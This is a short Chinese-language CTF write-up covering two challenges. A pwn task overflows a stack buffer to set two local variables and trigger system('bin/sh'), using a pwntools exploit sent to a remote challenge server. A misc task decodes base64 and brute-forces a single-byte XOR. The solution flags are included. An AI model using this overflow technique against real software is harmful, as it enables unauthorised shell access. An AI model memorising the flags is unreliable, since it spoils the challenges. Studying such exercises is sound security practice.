pwn
gettingstart
flag{4281a86e5b9ab0ae7940f38be574dc52}
ida 反编译,发现 0x7FFFFFFFFFFFFFFFLL == v7 && 0.1 == v8 时可以执行 system("bin/sh")。
read(0, &buf, 0x28uLL)读入 0x28 个字节,会依次覆盖 buf、v5-v8。v5v6 随便填,v7 就写 0x7FFFFFFFFFFFFFFF。v8 是 double 型的 0.1,自己写一个给 double 赋值 0.1 的 c 程序,用 gdb 得到 0.1 的 double 型在内存中的形式 0x3fb999999999999a 写进去。
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
# io = process("./task_gettingStart_ktQeERc")
io = remote("49.4.78.170", 31070)
payload1 = 'a' * 24 + p64(0x7FFFFFFFFFFFFFFF) + p64(0x3fb999999999999a)
print("--------------")
print(p64(0x7FFFFFFFFFFFFFFF))
print(p64(0x3fb999999999999a))
print("--------------")
io.recvuntil("you.\n")
io.sendline(payload1)
io.interactive()
io.close()
misc
迟来的签到题
flag{2F64B7656E77E0A0743C02ECAE9E2513}
txt 中乱码最后一个有等号,推测是 base64。解码后仍是乱码,提示 xor,让每一位和一个数异或,爆破在结果中找符合 flag 形式的提交。
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import base64
mess = b"AAoHAR1UIFBSJFFQU1AjUVEjVidWUVJVJVZUIyUnI18jVFNXVRs="
aft = base64.b64decode(mess)
aft = str(aft, encoding = "utf8")
print(aft)
for i in range(100, 200):
for j in aft:
print(chr(i^ord(j)), end='')
print()